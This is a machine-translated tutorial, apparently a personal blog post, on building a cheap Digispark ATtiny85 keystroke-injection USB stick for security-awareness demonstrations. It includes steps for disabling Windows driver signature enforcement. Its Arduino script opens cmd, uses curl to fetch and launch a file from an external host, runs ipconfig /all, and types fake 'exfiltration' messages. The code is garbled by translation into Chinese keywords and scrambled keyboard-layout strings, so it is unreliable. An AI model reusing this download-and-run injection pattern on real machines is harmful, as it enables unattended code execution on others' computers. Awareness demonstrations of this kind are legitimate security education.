我的目标
在培训IT用户方面,提高他们对使用未知USB棒相关风险的认识至关重要。
为了有所作为,实际的演示往往比简单的演讲更有效。 这就是为什么我想得到一个能够模拟计算机损坏的USB棒,以便具体显示所涉及的危险。
橡皮鸭是黑客使用的USB棒,但它们的成本往往令人望而却步。 因此,我正在寻找一种更经济的解决方案来创建这种意识工具。
简而言之,我想找到一种负担得起的橡胶鸭替代品,让用户意识到使用未知USB棒相关的风险,使用能够模拟计算机损坏的USB棒。
什么是Rubber Duckys?
橡胶鸭子是USB棒,设计用于模拟连接到计算机时的键盘。 它们经常被黑客用来执行按键注入攻击,其中包括模拟键盘按键以在目标计算机上执行恶意命令。
橡皮鸭配备了可编程微控制器,可以存储预先录制的脚本。 当连接到计算机时,它们的行为就像一个标准的USB键盘,并且可以以非常高的速度发送预先录制的键序列,允许在几秒钟内执行复杂的命令。
橡皮鸭通常用于渗透测试或IT安全演示,但它们也可以用于恶意目的,例如数据窃取或恶意软件的安装。 因此,重要的是要让用户意识到与使用未知USB棒相关的风险,并采取适当的安全措施来保护计算机免受击键注入攻击。
正如上一段所解释的那样,我的目标是提高用户对IT工具的认识,并向他们展示将未知的USB棒插入计算机的危险性。
这是橡胶鸭的价格,因此我希望找到另一种解决方案,价格是消除我将拥有的有用性。
我将使用配备ATTINY85的Digispark Rev. 3。
我将使用更轻的设备,因为它只有6k的内存,但这已经足够了,我不会运行一个复杂的脚本。
该设备价值在5到7欧元之间。
你可以订购它。 在中国人中直接 祈祷你有正确的版本或在 亚马逊 3 批次.
连接器不会对我有用,我不会闪烁它。
关于 Digispark ATTINY85
如果我们比较橡胶鸭和Digispark,我们意识到第一个和主要的限制是可用的脚本的存储容量。
ATtiny85微控制器具有8 KB的闪存,但该内存的一部分用于存储引导加载程序和应用程序代码。 一般来说,在Digispark ATtiny85密钥上存储数据的可用内存量约为6 KB。 对我来说,这就足够了。
橡皮鸭键具有先进的功能,例如能够模拟键盘以外的USB设备,例如鼠标或外部硬盘驱动器。 Digispark ATtiny85键在这方面受到限制,通常只能模拟USB键盘。 这也适合我。
下载 Digispark 的驱动程序
我会在我的个人电脑上安装Digispark驱动程序。 虽然这似乎是一个复杂而微妙的任务,但重要的是要注意,这种操作只能在我自己的计算机上进行,而不是在损坏模拟所针对的计算机上进行。 事实上,一旦Digispark连接到计算机,它将被识别为键盘。
因此,我上传安装驱动程序所需的文件:
一旦下载和解压缩,将允许安装驱动程序的文件。
由于此驱动程序未签名,通常 Windows 将阻止安装,因此必须暂时禁用强制驱动程序签名。
我禁用飞行员的强制签名
我将暂时禁用计算机上的强制驾驶员签名。 此操作不构成任何风险,下次计算机重新启动时将自动取消。 此步骤对于安装 Digispark 驱动程序是必要的,这些驱动程序尚未由受信任的出版商进行数字签名。
我要进去了 设置 然后 恢复 恢复 按下按钮 现在 重新 启动
然后在重新启动时,选择 故障 排除
然后 高级选项 然后 设置
PC重启和重新启动,以下是选择:
我想要选项7,所以我依靠。 F7 型.
安装 Digispark 驱动程序
我现在可以启动文件了 安装 Drivers.exe
安装 Arduino IDE
Arduino的集成开发环境(IDE)是用于编程Arduino和其他兼容地图的开源软件。 他将允许我输入我想要运行的脚本代码,然后将其上传到Digispark密钥。
没有什么很复杂,一切都会自行解决。
我正在将 Digispark 包集成到 IDE 中。
为了管理Digispark卡,需要使用Digispark包。
启动 IDE Arduino 文件 文件 然后 优惠 优惠.
我必须完成额外的卡管理器URL
在您将在互联网上找到的所有教程和其他文档中,指定此链接:
但在我测试的那天,这个链接不起作用,网站digistump是HS。
以下是我使用的链接:
- https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json
在 工具 工具, 卡片 牌, 贺卡经理, 打字 键入 digistrump 的 然后点击 安装 安装 从 Digistump AVR 板
然后返回中选择默认卡 工具 工具, 地图 地图, Digistump AVR板 Digisdpark Default 16.5mhz。
安装 QWERTY 键盘
为了不被困在要发送的命令的编写上,我在QWERTY中安装了一个美国键盘。 因此,当我输入命令来执行或显示时,我会将键盘切换到ENG。
我输入我的代码/脚本
这是我的剧本:
#包含 <DigiKeyboard.h> void setup(){ //pinMode(1, OUTPUT); // LED 如果声明输出 digitalWrite(1, HIGH); // 打开红色 LED(指示正在执行中) DigiKeyboard.delay(3000); // 等待 3 秒 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // 打开 Windows DigiKeyboard.delay(500)运行时窗口; DigiKeyboard.print("c;d"); // 写"cmd" DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.delay(500); DigiKeyboard.print("curl 6o;usic<p")# HTTPS>>uploqdsong<netlify<qpp>;usic<p>#" ); // 写"curl -o music.mp3 https://uploadsong.netlify.app/music.mp3" DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.delay(500); DigiKeyboard.print("ipconfig >qll"); // 写"ipconfig /all" DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.delay(500); DigiKeyboard.print(『退出』); // 写"exit" DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // 打开 Windows DigiKeyboard.delay(500)运行时窗口; DigiKeyboard.print(";usic<;p)#" ); // 写 "music.mp3" DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.delay(1000); int 颜色=1; {DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // 打开 Windows DigiKeyboard.delay(500)运行时窗口; DigiKeyboard.print("c;d"); // 写"cmd" DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); Switch(color){ 框 0: DigiKeyboard.print("echo off1color)1cls1tree");/// 写"echo off&color 0&cls&tree" break; 方框1: DigiKeyboard.print("echo off1color!1cls1trqcert *<*<*"); // 写"echo off&color 1&cls&tracert 8.8.8"断裂; 方框2: DigiKeyboard.print("echo off1color @1cls1PING google<fr 6n! 方框3: DigiKeyboard.print("echo off1color") #1cls1tree");// 写"echo off&color 3&cls&tree" break; 方框4: DigiKeyboard.print("echo off1color") $1cls1trqcert *<*<<<<*");/// 写"echo off&color 4&cls&tracert 8.8.8"断裂; DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.delay(500); Color++; DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // 打开 Windows DigiKeyboard.delay(500)运行时窗口; DigiKeyboard.print("notepqd"); // 写"notepad" DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.print(" Cuckoo // Computer pirqt2< Do;qge "); DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟按 ENTER 按钮同时(颜色 < 15){ DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.print(" Exfiltrqtion of current data<<<<< "); 延迟(300); Color++; digitalWrite(1, LOW); // 关闭 Led Rouge } void loop(){ }
我尽可能多地评论它。
我上传到 Digispark 键
我不插入键,我开始编译,然后用右边箭头的按钮上传:
当控制台显示插入时 设备 现在, 我可以插入 Digispark 键
上传速度非常快,要么我在脚本启动之前设法删除密钥,要么从第一次启动关键脚本中受益。
一切都结束了,钥匙准备好了。
因此,为了模拟按键注入攻击,只需将密钥滑入USB端口即可。
书目将走得更远
- https://www.malekal.com/desactiver-signature-numerique-pilotes-windows-10/
- https://www.qqt.fr/documentation/systeme-dexploitation/desactivation-de-la-signature-obligatoire-des-pilotes-sous-windows-8/
- https://www.youtube.com/watch?v=R41pn1j81RU
- https://remiflandrois.fr/2021/08/09/usb-digispark-rubber-ducky/
- https://github.com/CedArctic/DigiSpark-Scripts
- https://redacted.au/creating-a-usb-rubber-ducky-from-a-digispark-attiny-85/
















